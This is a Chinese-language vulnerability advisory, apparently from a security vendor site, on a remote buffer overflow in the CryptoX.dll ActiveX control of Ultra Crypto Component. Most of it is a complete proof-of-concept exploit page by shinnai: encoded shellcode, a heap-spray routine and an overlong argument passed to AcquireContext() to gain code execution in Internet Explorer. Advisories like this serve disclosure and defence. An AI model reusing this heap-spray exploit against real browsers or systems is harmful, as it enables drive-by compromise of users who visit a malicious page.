安全研究
安全漏洞
Ultra Crypto Component CryptoX.dll控件远程溢出漏洞
发布日期：2007-09-10
更新日期：2007-09-14
受影响系统：
Ultra Shareware Ultra Crypto Component描述：
BUGTRAQ ID: 25609
Ultra Crypto Component是ASP或ASP.Net中使用的加密、解密和哈希ActiveX组件。
Ultra Crypto Component的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。
Ultra Crypto Component所提供的CryptoX.dll控件没有正确地验证对AcquireContext()和DeleteContext()方式的输入，如果用户受骗访问了恶意网页并向上述方式传送了超长参数的话，就可能触发缓冲区溢出，导致执行任意指令。
<*来源：shinnai （shinnai@autistici.org）
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------------
<b>Ultra Crypto Component (CryptoX.dll <= 2.0) "AcquireContext()" Remote BoF Exploit</b>
url: http://www.ultrashareware.com/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.
Heap Spray Technique was developed by SkyLined
(http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html.php)
<b>The "DeleteContext()" is vulnerable too</b>
-----------------------------------------------------------------------------------
<object id=boom classid="clsid:09C282FE-7DE7-4697-9BE2-1C4F4DA825B3" style="WIDTH: 578px; HEIGHT: 228px"></object>
<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">
<script>
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0c0c0c0c;
function tryMe()
{
var size_buff = 3200;
var x = unescape("%0c%0c%0c%0c");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);
boom.AcquireContext(x,1,1);
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
var heapBlockSize = 0x100000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
</script>
</span></span>
</code></pre>
建议：
厂商补丁：
Ultra Shareware
---------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.ultrashareware.com/Ultra-Crypto-Component.htm
浏览次数：2759
严重程度：0（网友投票）
绿盟科技给您安全的保障